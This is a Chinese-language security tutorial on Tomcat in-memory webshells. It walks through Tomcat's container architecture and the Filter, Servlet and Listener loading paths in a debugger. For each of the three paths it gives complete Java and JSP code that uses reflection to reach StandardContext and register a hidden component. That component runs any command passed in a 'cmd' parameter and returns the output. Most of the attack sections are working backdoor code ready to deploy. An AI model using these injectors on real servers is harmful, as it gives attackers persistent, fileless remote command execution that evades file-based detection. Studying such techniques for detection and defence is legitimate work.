Java安全-Tomcat内存马学习
Tomcat
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。
从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。 
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
  Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
 
  | 
 
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
  Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
  Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
  Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。 
 
  | 
 

看一个Tomcat的基本结构:

Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:

根据Tomcat文档可知:
Engine,实现类为 org.apache.catalina.core.StandardEngine Host,实现类为 org.apache.catalina.core.StandardHost Context,实现类为 org.apache.catalina.core.StandardContext Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
 
  | 
 
值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet
protected synchronized void startInternal() throws LifecycleException { ......             if(ok && !this.listenerStart()) {                 log.error(sm.getString("standardContext.listenerFail"));                 ok = false;             }               if(ok) {                 this.checkConstraintsForUncoveredMethods(this.findConstraints());             }               try {                 Manager manager = this.getManager();                 if(manager instanceof Lifecycle) {                     ((Lifecycle)manager).start();                 }             } catch (Exception var18) {                 log.error(sm.getString("standardContext.managerFail"), var18);                 ok = false;             }               if(ok && !this.filterStart()) {                 log.error(sm.getString("standardContext.filterFail"));                 ok = false;             }               if(ok && !this.loadOnStartup(this.findChildren())) {                 log.error(sm.getString("standardContext.servletFail"));                 ok = false;             }               super.threadStart(); ......
 
  | 
 
Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。
Filter内存马
首先我们需要配置tomcat,并且创建webapp和web.xml

创建Filter测试类,用于我们调试
package com.sec.filter;
  import javax.servlet.*; import java.io.IOException;
  public class FilterDemo implements Filter{     public void init(FilterConfig filterConfig) throws ServletException { }
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {         Runtime.getRuntime().exec("calc");         filterChain.doFilter(servletRequest,servletResponse);     }
      public void destroy() { } }
 
  | 
 

web.xml添加上Filter的配置
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"          version="3.1">     <filter>         <filter-name>FilterDemo</filter-name>         <filter-class>com.sec.filter.FilterDemo</filter-class>     </filter>     <filter-mapping>         <filter-name>FilterDemo</filter-name>         <url-pattern>/*</url-pattern>     </filter-mapping>
  </web-app>
 
  | 
 
后面这一步很重要,将tomcat下的lib文件夹jar包导入

当我们运行tomcat后,会直接弹出计算器。在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了
对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象,这样子的话就是一个真正的内存马
ServletContext
当我们启动web的时候,会产生一个ServletContext为接口的对象,这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象
在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象

使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext

这里可以看到ApplicationContextFacade的context属性是一个ApplicationContext

ServletContext其实是一个接口,这个接口的实现是ApplicationContext类。StandardContext对象其实也就是ApplicationContext对象
ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。

如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存马
我们可以下断点到internalDoFilter类上,为什么我们要断在这呢,因为它是一个调用Filter对象的一个调度类,就是专门用来调用所有实现的Filter对象的doFilter方法,而其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

我们可以往上看下谁调用到了internalDoFilter方法

我们往上看可以看到有个工厂类调用到了createFilterChain

跟进createFilterChain方法,获取到StandardContext对象

通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象

接着又会开始遍历这个FilterMap数组中的每个FilterMap对象(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过matchDispatcher和matchFiltersURL来比较访问的路由和Filter对象的路由是否有包含关系

最后会每个Filter对象相关信息都存储到了FilterConfig对象中,然后再把FilterConfig对象放到了filterChain这个属性中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

FilterConfig
我们知道ApplicationFilterChain这个对象的由来和它的作用,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法
继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象


该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef
我们前面通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例。当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。此时filter内存马已经添加完成
也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。
接下来的任务就是修改FilterMap与FilterConfig的值。
filterMaps是StandardContext对象中的数据我们可控。filterconfig是StandardContext中的数据我们可控,filterconfig中我们需要添加filterdef它也是我们可控的,StandardContext是我们可以操控的。综上filter动态添加过程是我们可操控的。
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
  private HashMap<String, FilterDef> filterDefs = new HashMap();
  private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
 
  | 
 
成员变量:
- filterConfigs成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。filter名=对应的filterconfig
 
- filterDefs
成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。filter名=对应的filterdef 
- filterMaps中的FilterMap则记录了不同filter与UrlPattern的映射关系。filter名=绑定的url
 
思路:
1、创建恶意的Filter
2、再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
4、最后把 ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs即可完成内存马的实现
首先我们最先使用request.getSession().getServletContext()获取到的是ApplicationContextFacade对象,ApplicationContextFacade下的context字段


反射实现代码:
 ServletContext servletContext = request.getSession().getServletContext();
 
  Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); 
 
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
  | 
 
也就是意味着standardcontext中的filtermap中有我们指定的filter,且filterconfig中有我们指定的filter,那么这个filter就会被正常加载到内存。
接下来的任务就是修改FilterMap与FilterConfig的值。
构造Filter内存马
构造按照着 ApplicationFilterFactory#createFilterChain 方法里的代码逻辑进行构造
package com.sec.servlet;
  import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import org.apache.catalina.core.ApplicationFilterConfig;
  import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner;
  @WebServlet("/demoServlet") public class demoServlet extends HttpServlet {     @Override     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
          Field Configs = null;         Map filterConfigs;         try {                          ServletContext servletContext = request.getSession().getServletContext();                          Field appctx = servletContext.getClass().getDeclaredField("context");             appctx.setAccessible(true);                           ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);                          Field stdctx = applicationContext.getClass().getDeclaredField("context");             stdctx.setAccessible(true);                          StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
                           String FilterName = "cmd_Filter";             Configs = standardContext.getClass().getDeclaredField("filterConfigs");             Configs.setAccessible(true);                          filterConfigs = (Map) Configs.get(standardContext);
              if (filterConfigs.get(FilterName) == null) {                 Filter filter = new Filter() {
                      public void init(FilterConfig filterConfig) throws ServletException {
                      }
                      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                         HttpServletRequest req = (HttpServletRequest) servletRequest;                                                  if (req.getParameter("cmd") != null){                             InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();                             Scanner s = new Scanner(in).useDelimiter("\\A");                             String output = s.hasNext() ? s.next() : "";                             servletResponse.getWriter().write(output);                             return;                         }                         filterChain.doFilter(servletRequest,servletResponse);                     }
                      public void destroy() {
                      }                 };
                                   Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");                                  Constructor declaredConstructors = FilterDef.getDeclaredConstructor();                                  FilterDef o = (FilterDef)declaredConstructors.newInstance();                 o.setFilter(filter);                  o.setFilterName(FilterName);                  o.setFilterClass(filter.getClass().getName());                  standardContext.addFilterDef(o); 
                                   Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");                 Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();                 FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); 
                  o1.addURLPattern("/*");                  o1.setFilterName(FilterName);                  o1.setDispatcher(DispatcherType.REQUEST.name());                 standardContext.addFilterMapBefore(o1); 
                                   Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");                 Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);                 declaredConstructor1.setAccessible(true);                 ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);                 filterConfigs.put(FilterName,filterConfig);                  response.getWriter().write("Success");             }         } catch (Exception e) {             e.printStackTrace();         }
 
      }
      @Override     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         super.doPost(req, resp);     } }
 
  | 
 
JSP马
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.Scanner" %>
  <%     Field Configs = null;     Map filterConfigs;     try {                  ServletContext servletContext = request.getSession().getServletContext();                  Field appctx = servletContext.getClass().getDeclaredField("context");         appctx.setAccessible(true);                   ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);                  Field stdctx = applicationContext.getClass().getDeclaredField("context");         stdctx.setAccessible(true);                  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
                   String FilterName = "cmd_Filter";         Configs = standardContext.getClass().getDeclaredField("filterConfigs");         Configs.setAccessible(true);                  filterConfigs = (Map) Configs.get(standardContext);
          if (filterConfigs.get(FilterName) == null) {             Filter filter = new Filter() {
                  public void init(FilterConfig filterConfig) throws ServletException {
                  }
                  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                     HttpServletRequest req = (HttpServletRequest) servletRequest;                                          if (req.getParameter("cmd") != null){                         InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();                         Scanner s = new Scanner(in).useDelimiter("\\A");                         String output = s.hasNext() ? s.next() : "";                         servletResponse.getWriter().write(output);                         return;                     }                     filterChain.doFilter(servletRequest,servletResponse);                 }
                  public void destroy() {
                  }             };
                           Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");                          Constructor declaredConstructors = FilterDef.getDeclaredConstructor();                          FilterDef o = (FilterDef)declaredConstructors.newInstance();             o.setFilter(filter);              o.setFilterName(FilterName);              o.setFilterClass(filter.getClass().getName());              standardContext.addFilterDef(o); 
                           Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");             Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();             FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); 
              o1.addURLPattern("/*");              o1.setFilterName(FilterName);              o1.setDispatcher(DispatcherType.REQUEST.name());             standardContext.addFilterMapBefore(o1); 
                           Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");             Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);             declaredConstructor1.setAccessible(true);             ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);             filterConfigs.put(FilterName,filterConfig);              response.getWriter().write("Success");         }     } catch (Exception e) {         e.printStackTrace();     } %>
 
  | 
 
tomcat-filter内存马需要在tomcat7+以上才能注入成功,原因是 javax.servlet.DispatcherType 类(shell.jsp中用到)是Servlet3以后才引入的,而且在 tomcat7+才支持 Servlet3!
Servlet内存马
Tomcat其实是Web服务器和Servlet容器的结合体。 
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
编写一个service Demo,方便我们后面调试
package com.sec.servlet;
  import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; import java.io.PrintWriter;
  @WebServlet("/servicedemo") public class ServiceDemo implements Servlet {     public void init(ServletConfig servletConfig) throws ServletException {
      }
      public ServletConfig getServletConfig() {         return null;     }
      public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {         System.out.println("Servlet启动...");         String cmd = servletRequest.getParameter("cmd");         PrintWriter writer = servletResponse.getWriter();         writer.write(cmd);         writer.flush();         writer.close();     }
      public String getServletInfo() {         return null;     }
      public void destroy() {
      } }
 
  | 
 
这里

Servlet
Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

注入Servlet
Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
在StandardContext中提供了动态添加Servlet类的方法:
public Dynamic addServlet(String servletName, String className) {             throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));         }
          public Dynamic addServlet(String servletName, Servlet servlet) {             throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));         }
          public Dynamic addServlet(String servletName, Class<? extends Servlet> servletClass) {             throw new UnsupportedOperationException(ContainerBase.sm.getString("noPluggabilityServletContext.notAllowed"));         }
 
  | 
 
我们从前面可知,Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。
Servlet生成与配置
首先我们就要创建一个Wapper实例,StandardContext.createWapper()获得一个Wapper对象
Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务

断点调试,回溯到configureStart,可以看到这边是调用了webConfig()


我们直接往下看这里调用了configureContext方法

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:
使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。

接着配置了Servlet的Class

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的)

取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用)

总结下Servlet的生成和动态依次加入以下步骤:
1. 通过 context.createWapper() 创建 Wapper 对象;
  2. 设置 Servlet 的 LoadOnStartUp 的值;
  3. 设置 Servlet 的 Name;
  4. 设置 Servlet 对应的 Class;
  5. 将 Servlet 添加到 context 的 children 中;
  6. 将 url 路径和 servlet 类做映射。
 
  | 
 
Servlet装载过程
配置好一个Servlet Demo,我们要在StandardWrapper#loadServlet()位置下断点,这边是用来加载Servlet
回溯到StandardContext#startInternal方法下,加载完Listener和Filter之后,才能装载Servlet

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:

首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。

每个Servlet的启动顺序在web.xml中声明:
 <servlet>     <servlet-name>servletDemo</servlet-name>     <servlet-class>com.java.Memory.ServletDemo</servlet-class>     <init-param>         <param-name>contextConfigLocation</param-name>         <param-value>WEB-INF/dispatcher-servlet.xml</param-value>     </init-param>     <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping>     <servlet-name>servletDemo</servlet-name>     <url-pattern>/servlet</url-pattern> </servlet-mapping>
 
  | 
 
如果没有声明 load-on-startup 属性(默认为-1):

然后对每个wapper进行装载:

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:
装载:启动服务器时加载Servlet的实例
  初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
  调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)
  销毁:停止服务器时调用destroy()方法,销毁实例
 
  | 
 
构造Servlet内存马
首先写一个Servlet.jsp的恶意类,实现service方法:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedInputStream" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html>   <head>     <title>$Title$</title>   </head>   <body>      <%          HttpServlet httpServlet = new HttpServlet() {       @Override       protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();         BufferedInputStream bis = new BufferedInputStream(is);         int len;         while ((len = bis.read())!=-1){           resp.getWriter().write(len);         }       }
        @Override       protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         super.doPost(req, resp);       }     };
           Field reqF = request.getClass().getDeclaredField("request");     reqF.setAccessible(true);     Request req = (Request) reqF.get(request);     StandardContext stdcontext = (StandardContext) req.getContext();
           Wrapper newWrapper = stdcontext.createWrapper();     String name = httpServlet.getClass().getSimpleName();     newWrapper.setName(name);     newWrapper.setLoadOnStartup(1);     newWrapper.setServlet(httpServlet);     newWrapper.setServletClass(httpServlet.getClass().getName());          stdcontext.addChild(newWrapper);     stdcontext.addServletMappingDecoded("/demo", name);   %>
 
  | 
 
首先我们访问下这个servlet.jsp,再访问/demo,即可执行命令
http://localhost:8080/demo?cmd=calc
 
  | 
 
Listener内存马
编写servlet程序
package com.sec.listen;
  import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
  @WebServlet("/listener") public class TestListener extends HttpServlet {     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         resp.getWriter().write("tomcat-listener!!");     }
      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {         doGet(req, resp);     } }
 
  | 
 
编写 Listener 程序
package com.sec.listen;
  import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
  @WebListener public class ServletListener implements ServletRequestListener {     public void requestDestroyed(ServletRequestEvent servletRequestEvent) {     }
      public void requestInitialized(ServletRequestEvent servletRequestEvent) {         System.out.println("ServletListener#requestInitialized is invoked!");     } }
 
  | 
 
断点调试

跟进到 StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化

进入findApplicationListeners方法,跟进看一下返回的是 applicationListeners 属性,其中包含我们编写的 ServletListener

遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList 中

跟进setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中

注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点,调试启动 Tomcat 中间件

跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法

构造Listener内存马
通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Arrays" %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%     class ServletListener implements ServletRequestListener {         @Override         public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
          }
          @Override         public void requestInitialized(ServletRequestEvent servletRequestEvent) {             try {                 String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");                                  org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();                 Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");                 requestField.setAccessible(true);                 Request request = (Request) requestField.get(requestFacade);                 Response response = (Response) request.getResponse(); 				                                  if (cmd != null){                     InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();                     int i = 0;                     byte[] bytes = new byte[1024];                     while ((i = inputStream.read(bytes)) != -1){                         response.getWriter().write(new String(bytes,0,i));                         response.getWriter().write("\r\n");                     }                 }             }catch (Exception e){                 e.printStackTrace();             }
          }     } %>
 
  <% 	     ServletContext servletContext = request.getServletContext();     Field applicationContextField = servletContext.getClass().getDeclaredField("context");     applicationContextField.setAccessible(true);     ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);     Field standardContextField = applicationContext.getClass().getDeclaredField("context");     standardContextField.setAccessible(true);     StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); 	     Object[] applicationEventListeners = standardContext.getApplicationEventListeners(); 	     List<Object> objects = Arrays.asList(applicationEventListeners);     ArrayList arrayList = new ArrayList(objects); 	     arrayList.add(new ServletListener()); 	     standardContext.setApplicationEventListeners(arrayList.toArray());     response.getWriter().write("Inject Success by listener!"); %>
 
 
  | 
 
访问该页面,成功弹出计算器 
http://localhost:8080/listener.jsp?cmd=calc
 
  |